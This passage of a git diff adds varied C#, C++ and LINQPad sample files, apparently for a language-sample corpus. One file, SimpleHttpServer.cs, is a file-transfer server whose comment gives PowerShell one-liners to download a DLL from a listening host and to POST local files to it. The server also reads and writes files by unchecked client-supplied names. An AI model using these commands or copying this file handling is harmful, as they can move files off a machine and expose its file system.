+# and keyword
+Edge > 40 and Edge < 43
+# or/, keywords
+IE 11 or IE 10, ie 9
\ No newline at end of file
diff --git a/samples/C#/FileScopedNamespace.cs b/samples/C#/FileScopedNamespace.cs
new file mode 100644
index 0000000000..e6920d673d
--- /dev/null
+++ b/samples/C#/FileScopedNamespace.cs
@@ -0,0 +1,10 @@
+namespace SampleNamespace;
+
+class AnotherSampleClass
+{
+    public void AnotherSampleMethod()
+    {
+        System.Console.WriteLine(
+            "SampleMethod inside SampleNamespace");
+    }
+}
diff --git a/samples/C#/SimpleHttpServer.cs b/samples/C#/SimpleHttpServer.cs
new file mode 100644
index 0000000000..5828d05641
--- /dev/null
+++ b/samples/C#/SimpleHttpServer.cs
@@ -0,0 +1,146 @@
+using System;
+using System.IO;
+using System.Net;
+using System.Reflection;
+using System.Text;
+using System.Threading.Tasks;
+
+/*
+ * Based on HttpServer.cs from Benjamin N. Summerton, thx - https://gist.github.com/define-private-public/d05bc52dd0bed1c4699d49e2737e80e7
+ *
+ * Compile how-to:
+ * 	 - e.g.: c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe /out:.\httpserver.exe .\SimpleHttpServer.cs
+ *
+ * Upload how-to:
+ *   - Access via browser on your listening port
+ *   - PowerShell: iwr -Uri http://<listenhost>:<port>/filename.dll -OutFile filename.dll
+ *
+ * Download how-to:
+ *   - Access via browser on your listening port
+ *   - PowerShell 3+: Invoke-RestMethod -Method POST -Body ([System.IO.File]::ReadAllBytes('c:\filename.dll)) http://<listenhost>:<port>/?fn=filename.dll
+ *
+ * */
+
+class SimpleHttpServer
+{
+	public static HttpListener listener;
+	public static string url = "";
+	public const string pageStart = @"
+		<!doctype>
+		<html>
+		<head>
+			<title>HTTP Server</title>
+			<script>function upload(el) {{
+				fr = new FileReader();
+				fr.readAsArrayBuffer(el.files[0]);
+				fname = el.value.split('\\\\').slice(-1)[0];
+				fr.onload = () => {{
+					fetch('{0}?fn='+fname, {{
+						method: 'POST',
+						body: fr.result
+						}}).then(() => {{
+							document.querySelector('p').innerHTML = fname + ' most likely uploded successfully';
+						}}).catch(() => {{
+							document.querySelector('p').innerHTML = 'upload possibly failed';
+						}})
+					}}
+				}}
+			</script>
+		</head>
+		<body>
+			<ul>";
+	public const string pageEnd = @"
+			</ul>
+			<hr>
+			<form>
+				Upload file: <input type=""file"" onchange=""upload(this)"">
+			</form>
+			<p></p>
+		</body>
+		</html>";
+
+
+	public static async Task HandleIncomingConnections()
+	{
+		string localDir = Directory.GetCurrentDirectory();
+
+		while (true)
+		{
+			string html = String.Format(pageStart, url);
+			HttpListenerContext ctx = await listener.GetContextAsync();
+			HttpListenerRequest req = ctx.Request;
+			HttpListenerResponse resp = ctx.Response;
+			byte[] data = new byte[0];
+			string queryFname = req.QueryString.Get("fn");
+			double mb = Math.Pow(2,20);
+
+			Console.Write(req.HttpMethod + " " + req.Url.ToString() + " " + req.RemoteEndPoint.ToString());
+
+			if (req.Url.AbsolutePath.Length > 1)
+			{
+				string downFname = req.Url.AbsolutePath.Substring(1);
+				downFname = System.Uri.UnescapeDataString(downFname);
+				try
+				{
+					data = File.ReadAllBytes(localDir+"\\"+downFname);
+					Console.Write(" '" + downFname + "' sent");
+				}
+				catch (FileNotFoundException)
+				{
+					resp.StatusCode = 404;
+					Console.Write(" '" + downFname + "' not found");
+				}
+				resp.ContentType = "application/octet-stream";
+				resp.Headers.Add("Content-Disposition", "attachment; filename=\"" + downFname + "\"");
+			}
+			else if (req.HttpMethod == "POST" && queryFname != null)
+			{
+				using (FileStream destination = new FileStream(queryFname, FileMode.Create, FileAccess.Write))
+				{
+					req.InputStream.CopyTo(destination);
+				}
+				Console.Write(" '" + queryFname + "' saved");
+			}
+			else
+			{
+				DirectoryInfo directoryInfo = new DirectoryInfo(localDir);
+				foreach (FileInfo fi in directoryInfo.EnumerateFiles("*"))
+				{
+					html += String.Format("<li>\n<a href=\"/{0}\" target=\"_blank\">{0} (Size: {1:.000}MB)</a>\n</li>", fi, fi.Length/mb);
+				}
+				html += pageEnd;
+				data = Encoding.UTF8.GetBytes(html);
+				resp.ContentType = "text/html";
+				resp.ContentEncoding = Encoding.UTF8;
+			}
+
+			resp.ContentLength64 = data.LongLength;
+			await resp.OutputStream.WriteAsync(data, 0, data.Length);
+			resp.Close();
+			req = null;
+			resp = null;
+			ctx = null;
+			data = new byte[0]; 
+			GC.Collect(); // otherwise it takes stupidly long time to free memory after downloads
+			Console.Write("\n");
+		}
+	}
+
+	public static void Main(string[] args)
+	{
+		if (args.Length != 2)
+		{
+			Console.WriteLine(String.Format("Usage: {0} <listen host/IP> <listen port>", Environment.GetCommandLineArgs()[0]));
+			return;
+		}
+		url = "http://" + args[0] + ":" + args[1] + "/";
+		listener = new HttpListener();
+		listener.Prefixes.Add(url);
+		listener.Start();
+		Console.WriteLine("Listening for connections on {0}", url);
+		Task task = HandleIncomingConnections();
+		task.GetAwaiter().GetResult();
+		listener.Close();
+	}
+}
+
diff --git a/samples/C#/_CodeSugarIO.DriveInfo.cs.pp b/samples/C#/_CodeSugarIO.DriveInfo.cs.pp
new file mode 100644
index 0000000000..f618cb8c16
--- /dev/null
+++ b/samples/C#/_CodeSugarIO.DriveInfo.cs.pp
@@ -0,0 +1,92 @@
+// Copyright (c) CodeSugar 2024 Vicente Penades
+
+using System;
+using System.Collections.Generic;
+using System.Text;
+using System.IO;
+using System.Runtime.CompilerServices;
+
+#nullable disable
+
+using FILE = System.IO.FileInfo;
+using DIRECTORY = System.IO.DirectoryInfo;
+using SYSTEMENTRY = System.IO.FileSystemInfo;
+
+#if CODESUGAR_USECODESUGARNAMESPACE
+namespace CodeSugar
+#elif CODESUGAR_USESYSTEMNAMESPACE
+namespace System.IO
+#else
+namespace $rootnamespace$
+#endif
+{
+    static partial class CodeSugarForSystemIO    
+    {
+        /// <summary>
+        /// Tries to get the DriveInfo from a given system file object.
+        /// </summary>
+        /// <remarks>
+        /// <para>
+        /// it will fail if the path points to a network drive, as in: <c>\\NetworkDevice\path\</c>
+        /// </para>
+        /// <para>
+        /// This only works on Windows.
+        /// </para>
+        /// </remarks>
+        public static bool TryGetDriveInfo(this System.IO.DirectoryInfo dinfo, out System.IO.DriveInfo drive)
+        {
+            drive = null;
+
+            if (dinfo == null) return false;
+            var root = dinfo.Root.GetNormalizedFullName();            
+
+            if (string.IsNullOrWhiteSpace(root)) return false;
+            if (root.Length < 2) return false;            
+
+            // network drive
+
+            if (root[0] == System.IO.Path.DirectorySeparatorChar && root[1] == System.IO.Path.DirectorySeparatorChar) return false;                            
+
+            // system drive
+
+            var interned = _TryGetInternedDriveInfo(root);
+            if (interned != null) { drive = interned; return true; }
+
+            drive = new System.IO.DriveInfo(root);                
+            return true;
+        }
+
+        /// <summary>
+        /// Gets the drive or network name of the given object.
+        /// </summary>
+        public static string GetDriveOrNetworkName(this System.IO.DirectoryInfo dinfo)
+        {
+            if (dinfo == null) return null;
+            var root = dinfo.Root.GetNormalizedFullName();
+
+            var interned = _TryGetInternedDriveInfo(root);
+            if (interned != null) return interned.Name;
+
+            return root;            
+        }
+
+        // this is a helper method that allows reusing tha same System.IO.DriveInfo instanced mapped to System Drives.
+        private static System.IO.DriveInfo _TryGetInternedDriveInfo(string root)
+        {
+            if (_InternedFixedDrives == null) // initialize
+            {
+                _InternedFixedDrives = new Dictionary<string,System.IO.DriveInfo>(FileSystemStringComparer);
+
+                foreach(var d in System.IO.DriveInfo.GetDrives())
+                {
+                    if (!d.IsReady) continue;
+
+                    if (d.DriveType != System.IO.DriveType.Fixed) continue;                                    
+                    _InternedFixedDrives[d.Name] = d;
+                }
+            }
+
+            return _InternedFixedDrives.TryGetValue(root, out var drive) ? drive : null;            
+        }        
+    }
+}
diff --git a/samples/C#/chart-process-memory.linq b/samples/C#/chart-process-memory.linq
new file mode 100644
index 0000000000..c528056432
--- /dev/null
+++ b/samples/C#/chart-process-memory.linq
@@ -0,0 +1,44 @@
+<Query Kind="Program">
+  <GACReference>System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</GACReference>
+  <Namespace>System</Namespace>
+  <Namespace>System.Dynamic</Namespace>
+  <Namespace>System.Management.Automation</Namespace>
+  <Namespace>System.Runtime.Serialization.Formatters</Namespace>
+  <Namespace>System.Xml.Linq</Namespace>
+</Query>
+
+void Main()
+{
+	/*
+	 * chart process memory
+	 * Authored by zyonet
+	 * No waranties provided what soever, use at your own risk or benefit ;D
+	 * MIT license
+	 * https://raw.githubusercontent.com/zyonet/PowerLinqPadScripts/master/LinqPad5/chart-process-memory.linq
+	 */
+	
+	//To Test:  open this file in LinqPad 5 (https://www.linqpad.net)
+	//refence System.Management.Automation dll in GAC
+	//and set language to C# in vscode for the current editor
+	
+	var ps = PowerShell.Create();
+	var _1m = 1024 * 1024;
+	
+	var script = @"get-process | Select Name,WS | Sort-Object -Descending WS | Where-Object {$_.WS -gt 10 * 1024 * 1024}";
+	ps.AddScript(script);
+	var res = ps.Invoke();
+	
+	var processes = res.Select( x => new {
+		Name = (string) x.Properties["Name"].Value,
+		WSInMb = (long) x.Properties["WS"].Value / _1m
+	});
+	
+	//now chart it
+	Util.Chart(processes
+	.Where( p => p.WSInMb >= 100), //replace with your filter 
+	(p) => p.Name, (p) => p.WSInMb,
+	Util.SeriesType.Pie)
+	.Dump("Processes Where WS > 100M (unit = 1Mb)");
+}
+
+// Define other methods and classes here
diff --git a/samples/C++/NoDiscard.h b/samples/C++/NoDiscard.h
new file mode 100644
index 0000000000..2571d996d6
--- /dev/null
+++ b/samples/C++/NoDiscard.h
@@ -0,0 +1,24 @@
+//===--- NoDiscard.h ------------------------------------------------------===//
+//
+// This source file is part of the Swift.org open source project
+//
+// Copyright (c) 2014 - 2022 Apple Inc. and the Swift project authors
+// Licensed under Apache License v2.0 with Runtime Library Exception
+//
+// See https://swift.org/LICENSE.txt for license information
+// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
+//
+//===----------------------------------------------------------------------===//
+
+#ifndef SWIFT_BASIC_NODISCARD_H
+#define SWIFT_BASIC_NODISCARD_H
+
+#if __cplusplus > 201402l && __has_cpp_attribute(nodiscard)
+#define SWIFT_NODISCARD [[nodiscard]]
+#elif __has_cpp_attribute(clang::warn_unused_result)
+#define SWIFT_NODISCARD [[clang::warn_unused_result]]
+#else
+#define SWIFT_NODISCARD
+#endif
+
+#endif
\ No newline at end of file
diff --git a/samples/C++/bug1163046.--skeleton.re b/samples/C++/bug1163046.--skeleton.re
new file mode 100644
index 0000000000..fee9bd6c7f
--- /dev/null
+++ b/samples/C++/bug1163046.--skeleton.re
@@ -0,0 +1,46 @@
+#include <iostream>
+
+#define YYCTYPE unsigned char
+#define YYCURSOR cursor
+#define YYLIMIT cursor
+#define YYMARKER marker
+#define YYFILL(n)
+
+bool scan(const char *text)
+{
+	YYCTYPE *start = (YYCTYPE *)text;
+	YYCTYPE *cursor = (YYCTYPE *)text;
+	YYCTYPE *marker = (YYCTYPE *)text;
+next:
+	YYCTYPE *token = cursor;
+/*!re2c
+'(This file must be converted with BinHex 4.0)'
+	{
+		if (token == start || *(token - 1) == '\n')
+		return true; else goto next;
+	}
+[\001-\377]
+	{ goto next; }
+[\000]
+	{ return false; }
+*/
+	return false;
+}
+
+#define do_scan(str, expect) \
+	res = scan(str) == expect ? 0 : 1; \
+	std::cerr << str << "\t-\t" << (res ? "fail" : "ok") << std::endl; \
+	result += res
+
+/*!max:re2c */
+
+int main(int,void**)
+{
+	int res, result = 0;
+	do_scan("(This file must be converted with BinHex 4.0)", 1);
+	do_scan("x(This file must be converted with BinHex 4.0)", 0);
+	do_scan("(This file must be converted with BinHex 4.0)x", 1);
+	do_scan("x(This file must be converted with BinHex 4.0)x", 0);
+	
+	return result;
+}
diff --git a/samples/C++/cnokw.re b/samples/C++/cnokw.re
new file mode 100644
index 0000000000..bdc1279323
--- /dev/null
+++ b/samples/C++/cnokw.re
@@ -0,0 +1,239 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define	ADDEQ	257
+#define	ANDAND	258
+#define	ANDEQ	259
+#define	ARRAY	260
+#define	ASM	261
+#define	AUTO	262
+#define	BREAK	263
+#define	CASE	264
+#define	CHAR	265
+#define	CONST	266
+#define	CONTINUE	267
+#define	DECR	268
+#define	DEFAULT	269
+#define	DEREF	270
+#define	DIVEQ	271
+#define	DO	272
+#define	DOUBLE	273
+#define	ELLIPSIS	274
+#define	ELSE	275
+#define	ENUM	276
+#define	EQL	277
+#define	EXTERN	278
+#define	FCON	279
+#define	FLOAT	280
+#define	FOR	281
+#define	FUNCTION	282
+#define	GEQ	283
+#define	GOTO	284
+#define	ICON	285
+#define	ID	286
+#define	IF	287
+#define	INCR	288
+#define	INT	289
+#define	LEQ	290
+#define	LONG	291
+#define	LSHIFT	292
+#define	LSHIFTEQ	293
+#define	MODEQ	294
+#define	MULEQ	295
+#define	NEQ	296
+#define	OREQ	297
+#define	OROR	298
+#define	POINTER	299
+#define	REGISTER	300
+#define	RETURN	301
+#define	RSHIFT	302
+#define	RSHIFTEQ	303
+#define	SCON	304
+#define	SHORT	305
+#define	SIGNED	306
+#define	SIZEOF	307
+#define	STATIC	308
+#define	STRUCT	309
+#define	SUBEQ	310
+#define	SWITCH	311
+#define	TYPEDEF	312
+#define	UNION	313
+#define	UNSIGNED	314
+#define	VOID	315
+#define	VOLATILE	316
+#define	WHILE	317
+#define	XOREQ	318
+#define	EOI	319
+
+typedef unsigned int uint;
+typedef unsigned char uchar;
+
+#define	BSIZE	8192
+
+#define	YYCTYPE		uchar
+#define	YYCURSOR	cursor
+#define	YYLIMIT		s->lim
+#define	YYMARKER	s->ptr
+#define	YYFILL(n)	{cursor = fill(s, cursor);}
+
+#define	RET(i)	{s->cur = cursor; return i;}
+
+typedef struct Scanner {
+    int			fd;
+    uchar		*bot, *tok, *ptr, *cur, *pos, *lim, *top, *eof;
+    uint		line;
+} Scanner;
+
+uchar *fill(Scanner *s, uchar *cursor){
+    if(!s->eof){
+	uint cnt = s->tok - s->bot;
+	if(cnt){
+	    memcpy(s->bot, s->tok, s->lim - s->tok);
+	    s->tok = s->bot;
+	    s->ptr -= cnt;
+	    cursor -= cnt;
+	    s->pos -= cnt;
+	    s->lim -= cnt;
+	}
+	if((s->top - s->lim) < BSIZE){
+	    uchar *buf = (uchar*) malloc(((s->lim - s->bot) + BSIZE)*sizeof(uchar));
+	    memcpy(buf, s->tok, s->lim - s->tok);
+	    s->tok = buf;
+	    s->ptr = &buf[s->ptr - s->bot];
+	    cursor = &buf[cursor - s->bot];
+	    s->pos = &buf[s->pos - s->bot];
+	    s->lim = &buf[s->lim - s->bot];
+	    s->top = &s->lim[BSIZE];
+	    free(s->bot);
+	    s->bot = buf;
+	}
+	if((cnt = read(s->fd, (char*) s->lim, BSIZE)) != BSIZE){
+	    s->eof = &s->lim[cnt]; *(s->eof)++ = '\n';
+	}
+	s->lim += cnt;
+    }
+    return cursor;
+}
+
+int scan(Scanner *s){
+	uchar *cursor = s->cur;
+std:
+	s->tok = cursor;
+/*!re2c
+any	= [\000-\377];
+O	= [0-7];
+D	= [0-9];
+L	= [a-zA-Z_];
+H	= [a-fA-F0-9];
+E	= [Ee] [+-]? D+;
+FS	= [fFlL];
+IS	= [uUlL]*;
+ESC	= [\\] ([abfnrtv?'"\\] | "x" H+ | O+);
+*/
+
+/*!re2c
+	"/*"			{ goto comment; }
+	
+	L (L|D)*		{ RET(ID); }
+	
+	("0" [xX] H+ IS?) | ("0" D+ IS?) | (D+ IS?) |
+	(['] (ESC|any\[\n\\'])* ['])
+				{ RET(ICON); }
+	
+	(D+ E FS?) | (D* "." D+ E? FS?) | (D+ "." D* E? FS?)
+				{ RET(FCON); }
+	
+	(["] (ESC|any\[\n\\"])* ["])
+				{ RET(SCON); }
+	
+	"..."                   { RET(ELLIPSIS); }
+	">>="			{ RET(RSHIFTEQ); }
+	"<<="			{ RET(LSHIFTEQ); }
+	"+="			{ RET(ADDEQ); }
+	"-="			{ RET(SUBEQ); }
+	"*="			{ RET(MULEQ); }
+	"/="			{ RET(DIVEQ); }
+	"%="			{ RET(MODEQ); }
+	"&="			{ RET(ANDEQ); }
+	"^="			{ RET(XOREQ); }
+	"|="			{ RET(OREQ); }
+	">>"			{ RET(RSHIFT); }
+	"<<"			{ RET(LSHIFT); }
+	"++"			{ RET(INCR); }
+	"--"			{ RET(DECR); }
+	"->"			{ RET(DEREF); }
+	"&&"			{ RET(ANDAND); }
+	"||"			{ RET(OROR); }
+	"<="			{ RET(LEQ); }
+	">="			{ RET(GEQ); }
+	"=="			{ RET(EQL); }
+	"!="			{ RET(NEQ); }
+	";"			{ RET(';'); }
+	"{"			{ RET('{'); }
+	"}"			{ RET('}'); }
+	","			{ RET(','); }
+	":"			{ RET(':'); }
+	"="			{ RET('='); }
+	"("			{ RET('('); }
+	")"			{ RET(')'); }
+	"["			{ RET('['); }
+	"]"			{ RET(']'); }
+	"."			{ RET('.'); }
+	"&"			{ RET('&'); }
+	"!"			{ RET('!'); }
+	"~"			{ RET('~'); }
+	"-"			{ RET('-'); }
+	"+"			{ RET('+'); }
+	"*"			{ RET('*'); }
+	"/"			{ RET('/'); }
+	"%"			{ RET('%'); }
+	"<"			{ RET('<'); }
+	">"			{ RET('>'); }
+	"^"			{ RET('^'); }
+	"|"			{ RET('|'); }
+	"?"			{ RET('?'); }
+
+
+	[ \t\v\f]+		{ goto std; }
+
+	"\n"
+	    {
+		if(cursor == s->eof) RET(EOI);
+		s->pos = cursor; s->line++;
+		goto std;
+	    }
+
+	any
+	    {
+		printf("unexpected character: %c\n", *s->tok);
+		goto std;
+	    }
+*/
+
+comment:
+/*!re2c
+	"*/"			{ goto std; }
+	"\n"
+	    {
+		if(cursor == s->eof) RET(EOI);
+		s->tok = s->pos = cursor; s->line++;
+		goto comment;
+	    }
+        any			{ goto comment; }
+*/
+}
+
+main(){
+    Scanner in;
+    int t;
+    memset((char*) &in, 0, sizeof(in));
+    in.fd = 0;
+    while((t = scan(&in)) != EOI){
+/*
+	printf("%d\t%.*s\n", t, in.cur - in.tok, in.tok);
+	printf("%d\n", t);
+*/
+    }
+    close(in.fd);
+}
diff --git a/samples/C++/constexpr_header.h b/samples/C++/constexpr_header.h
new file mode 100644
index 0000000000..03db146df0
--- /dev/null
+++ b/samples/C++/constexpr_header.h
@@ -0,0 +1,4 @@
+constexpr double VERSION_NUMBER {1.2};
+
+constexpr int FRAME_RATE {60};
+constexpr int MIN_FRAME_RATE {30};
diff --git a/samples/C++/cvsignore.re b/samples/C++/cvsignore.re
new file mode 100644
index 0000000000..1de9e16a58
--- /dev/null
+++ b/samples/C++/cvsignore.re
@@ -0,0 +1,63 @@
+
+#define YYFILL(n) if (cursor >= limit) break;
+#define YYCTYPE char
+#define YYCURSOR cursor
+#define YYLIMIT limit
+#define YYMARKER marker
+
+/*!re2c
+any     = (.|"\n");
+value	= (":" (.\"$")+)?;
+cvsdat	= "Date";
+cvsid	= "Id";
+cvslog	= "Log";
+cvsrev	= "Revision";
+cvssrc	= "Source";
+*/
+
+#define APPEND(text) \
+	append(output, outsize, text, sizeof(text) - sizeof(YYCTYPE))
+
+inline void append(YYCTYPE *output, size_t & outsize, const YYCTYPE * text, size_t len)
+{
+	memcpy(output + outsize, text, len);
+	outsize += (len / sizeof(YYCTYPE));
+}
+
+void scan(YYCTYPE *pText, size_t *pSize, int *pbChanged)
+{
+	// rule
+	// scan lines
+	// find $ in lines
+	//   compact $<keyword>: .. $ to $<keyword>$
+  
+	YYCTYPE *output;
+	const YYCTYPE *cursor, *limit, *marker;
+
+	cursor = marker = output = *pText;
+
+	size_t insize = *pSize;
+	size_t outsize = 0;
+
+	limit = cursor + insize;
+
+	while(1) {
+loop:
+/*!re2c
+
+"$" cvsdat value "$"	{ APPEND(L"$" L"Date$"); goto loop; }
+"$" cvsid  value "$"	{ APPEND(L"$" L"Id$"); goto loop; }
+"$" cvslog value "$"	{ APPEND(L"$" L"Log$"); goto loop; }
+"$" cvsrev value "$"	{ APPEND(L"$" L"Revision$"); goto loop; }
+"$" cvssrc value "$"	{ APPEND(L"$" L"Source$"); goto loop; }
+any						{ output[outsize++] = cursor[-1]; if (cursor >= limit) break; goto loop; }
+
+*/
+	}
+	output[outsize] = '\0';
+
+	// set the new size
+	*pSize = outsize;
+	
+	*pbChanged = (insize == outsize) ? 0 : 1;
+}
diff --git a/samples/C++/gblib.cppm b/samples/C++/gblib.cppm
new file mode 100644
index 0000000000..bd7a6e22d1
--- /dev/null
+++ b/samples/C++/gblib.cppm
@@ -0,0 +1,286 @@
+export module gblib;
+
+import std;
+
+export enum ScopeLevel
+{
+    LEVEL_UNIV,
+    LEVEL_STAR,
+    LEVEL_PLAN,
+    LEVEL_SHIP
+};
+
+export using shipnum_t   = uint64_t;
+export using starnum_t   = uint32_t;
+export using planetnum_t = uint32_t;
+export using player_t    = uint32_t;
+export using governor_t  = uint32_t;
+
+export using ap_t         = uint32_t;
+export using commodnum_t  = int64_t;
+export using resource_t   = int64_t;
+export using money_t      = int64_t;
+export using population_t = int64_t;
+
+export using command_t = std::vector<std::string>;
+
+// Shipping routes - DON'T change this unless you know what you are doing
+export inline constexpr int MAX_ROUTES = 4;
+
+/**
+ * \brief Convert input string to a shipnum_t
+ * \param s User-provided input string
+ * \return If the user provided a valid number, return it.
+ */
+export inline std::optional<shipnum_t> string_to_shipnum(std::string_view s)
+{
+    while (s.size() > 1 && s.front() == '#')
+    {
+        s.remove_prefix(1);
+    }
+
+    if (s.size() > 0 && std::isdigit(s.front()))
+    {
+        return std::stoi(std::string(s.begin(), s.end()));
+    }
+    return {};
+}
+
+/**
+ * \brief Scales used in production efficiency etc.
+ * \param x Integer from 0-100
+ * \return Float 0.0 - 1.0 (logscaleOB 0.5 - .95)
+ */
+export inline double logscale(const int x)
+{
+    return log10(( double )x + 1.0) / 2.0;
+}
+
+export inline double morale_factor(const double x)
+{
+    return (atan(( double )x / 10000.) / 3.14159565 + .5);
+}
+
+export class Db
+{
+public:
+    virtual ~Db()
+    {}
+    virtual int Numcommods() = 0;
+    virtual int Numraces()   = 0;
+
+protected:
+    Db()
+    {}
+};
+
+export class GameObj
+{
+public:
+    player_t          player;
+    governor_t        governor;
+    bool              god;
+    double            lastx[2] = { 0.0, 0.0 };
+    double            lasty[2] = { 0.0, 0.0 };
+    double            zoom[2]  = { 1.0, 0.5 }; ///< last coords for zoom
+    ScopeLevel        level;                   ///< what directory level
+    starnum_t         snum;                    ///< what star system obj # (level=0)
+    planetnum_t       pnum;                    ///< number of planet
+    shipnum_t         shipno;                  ///< # of ship
+    std::stringstream out;
+    Db&               db;
+    GameObj(Db& db_)
+          : db(db_)
+    {}
+    GameObj(const GameObj&)            = delete;
+    GameObj& operator=(const GameObj&) = delete;
+};
+
+export class Sector
+{
+public:
+    Sector(unsigned int x_,
+           unsigned int y_,
+           unsigned int eff_,
+           unsigned int fert_,
+           unsigned int mobilization_,
+           unsigned int crystals_,
+           resource_t   resource_,
+           population_t popn_,
+           population_t troops_,
+           player_t     owner_,
+           player_t     race_,
+           unsigned int type_,
+           unsigned int condition_)
+          : x(x_),
+            y(y_),
+            eff(eff_),
+            fert(fert_),
+            mobilization(mobilization_),
+            crystals(crystals_),
+            resource(resource_),
+            popn(popn_),
+            troops(troops_),
+            owner(owner_),
+            race(race_),
+            type(type_),
+            condition(condition_)
+    {}
+
+    Sector()                                 = default;
+    Sector(Sector&)                          = delete;
+    void operator=(const Sector&)            = delete;
+    Sector(Sector&&)                         = default;
+    Sector& operator=(Sector&&)              = default;
+    auto    operator<=>(const Sector&) const = default;
+
+    unsigned int x { 0 };
+    unsigned int y { 0 };
+    unsigned int eff { 0 };          /* efficiency (0-100) */
+    unsigned int fert { 0 };         /* max popn is proportional to this */
+    unsigned int mobilization { 0 }; /* percent popn is mobilized for war */
+    unsigned int crystals { 0 };
+    resource_t   resource { 0 };
+
+    population_t popn { 0 };
+    population_t troops { 0 };    /* troops (additional combat value) */
+
+    player_t     owner { 0 };     /* owner of place */
+    player_t     race { 0 };      /* race type occupying sector
+                 (usually==owner) - makes things more
+                 realistic when alien races revolt and
+                 you gain control of them! */
+    unsigned int type { 0 };      /* underlying sector geology */
+    unsigned int condition { 0 }; /* environmental effects */
+
+    friend std::ostream& operator<<(std::ostream&, const Sector&);
+};
+
+export struct Commod
+{
+    player_t    owner;
+    governor_t  governor;
+    uint8_t     type;
+    uint64_t    amount;
+    bool        deliver; /* whether the lot is ready for shipping or not */
+    money_t     bid;
+    player_t    bidder;
+    governor_t  bidder_gov;
+    starnum_t   star_from; /* where the stuff originated from */
+    planetnum_t planet_from;
+    starnum_t   star_to;   /* where it goes to */
+    planetnum_t planet_to;
+};
+
+export struct Victory
+{
+    std::weak_ordering operator<=>(const Victory& that) const
+    {
+        // Ensure that folks who shouldn't count are always ranked last.
+        if (no_count && !that.no_count)
+        {
+            return std::weak_ordering::greater;
+        }
+        if (that.no_count && !no_count)
+        {
+            return std::weak_ordering::less;
+        }
+
+        if (that.rawscore > rawscore)
+        {
+            return std::weak_ordering::greater;
+        }
+        if (that.rawscore < rawscore)
+        {
+            return std::weak_ordering::less;
+        }
+
+        // Must be equal
+        return std::weak_ordering::equivalent;
+    }
+    player_t      racenum;
+    std::string   name;
+    bool          no_count = false;
+    double        tech;
+    int           Thing;
+    int           IQ;
+    unsigned long rawscore;
+};
+
+export struct plinfo
+{                            /* planetary stockpiles */
+    unsigned short fuel;     /* fuel for powering things */
+    unsigned short destruct; /* destructive potential */
+    resource_t     resource; /* resources in storage */
+    population_t   popn;
+    population_t   troops;
+    unsigned short crystals;
+
+    unsigned short prod_res; /* shows last update production */
+    unsigned short prod_fuel;
+    unsigned short prod_dest;
+    unsigned short prod_crystals;
+    money_t        prod_money;
+    double         prod_tech;
+
+    money_t        tech_invest;
+    unsigned short numsectsowned;
+
+    unsigned char comread;    /* combat readiness (mobilization)*/
+    unsigned char mob_set;    /* mobilization target */
+    unsigned char tox_thresh; /* min to build a waste can */
+
+    unsigned char explored;
+    unsigned char autorep;
+    unsigned char tax;    /* tax rate */
+    unsigned char newtax; /* new tax rate (after update) */
+    unsigned char guns;   /* number of planet guns (mob/5) */
+
+    /* merchant shipping parameters */
+    struct
+    {
+        unsigned char set;         /* does the planet have orders? */
+        unsigned char dest_star;   /* star that ship has to go to next */
+        unsigned char dest_planet; /* planet destination */
+        unsigned char load;        /* bit-field commodities to be loaded there */
+        unsigned char unload;      /* unloaded commodities */
+        unsigned char x, y;        /* location that ship has to land on */
+    } route[MAX_ROUTES];           /* i am allowing up to four routes per planet */
+
+    long   mob_points;
+    double est_production; /* estimated production */
+};
+
+export template<typename T>
+concept Unsigned = std::is_unsigned<T>::value;
+
+export template<typename T>
+void setbit(T& target, const Unsigned auto pos)
+    requires Unsigned<T>
+{
+    T bit   = 1;
+    target |= (bit << pos);
+}
+
+export template<typename T>
+void clrbit(T& target, const Unsigned auto pos)
+    requires Unsigned<T>
+{
+    T bit   = 1;
+    target &= ~(bit << pos);
+}
+
+export template<typename T>
+bool isset(const T target, const Unsigned auto pos)
+    requires Unsigned<T>
+{
+    T bit = 1;
+    return target & (bit << pos);
+}
+
+export template<typename T>
+bool isclr(const T target, const Unsigned auto pos)
+    requires Unsigned<T>
+{
+    return !isset(target, pos);
+}
diff --git a/samples/C++/grpc.pb.cc b/samples/C++/grpc.pb.cc
new file mode 100644
index 0000000000..e90c96ad98
--- /dev/null
+++ b/samples/C++/grpc.pb.cc
@@ -0,0 +1,2 @@
+// Generated by the gRPC protobuf plugin.
+// If you make any local change, they will be lost.
diff --git a/samples/C++/hello.grpc.pb.h b/samples/C++/hello.grpc.pb.h
new file mode 100644
index 0000000000..dfc60bfdf8
--- /dev/null
+++ b/samples/C++/hello.grpc.pb.h
@@ -0,0 +1,125 @@
+// Generated by the gRPC C++ plugin.
+// If you make any local change, they will be lost.
+// source: hello.proto
+#ifndef GRPC_hello_2eproto__INCLUDED
+#define GRPC_hello_2eproto__INCLUDED
+
+#include "hello.pb.h"
+
+#include <grpc++/impl/codegen/async_stream.h>
+#include <grpc++/impl/codegen/async_unary_call.h>
+#include <grpc++/impl/codegen/method_handler_impl.h>
+#include <grpc++/impl/codegen/proto_utils.h>
+#include <grpc++/impl/codegen/rpc_method.h>
+#include <grpc++/impl/codegen/service_type.h>
+#include <grpc++/impl/codegen/status.h>
+#include <grpc++/impl/codegen/stub_options.h>
+#include <grpc++/impl/codegen/sync_stream.h>
+
+namespace grpc {
+class CompletionQueue;
+class Channel;
+class RpcService;
+class ServerCompletionQueue;
+class ServerContext;
+}  // namespace grpc
+
+class HelloService final {
+ public:
+  class StubInterface {
+   public:
+    virtual ~StubInterface() {}
+    virtual ::grpc::Status SayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::HelloResponse* response) = 0;
+    std::unique_ptr< ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>> AsyncSayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) {
+      return std::unique_ptr< ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>>(AsyncSayHelloRaw(context, request, cq));
+    }
+  private:
+    virtual ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>* AsyncSayHelloRaw(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) = 0;
+  };
+  class Stub final : public StubInterface {
+   public:
+    Stub(const std::shared_ptr< ::grpc::ChannelInterface>& channel);
+    ::grpc::Status SayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::HelloResponse* response) override;
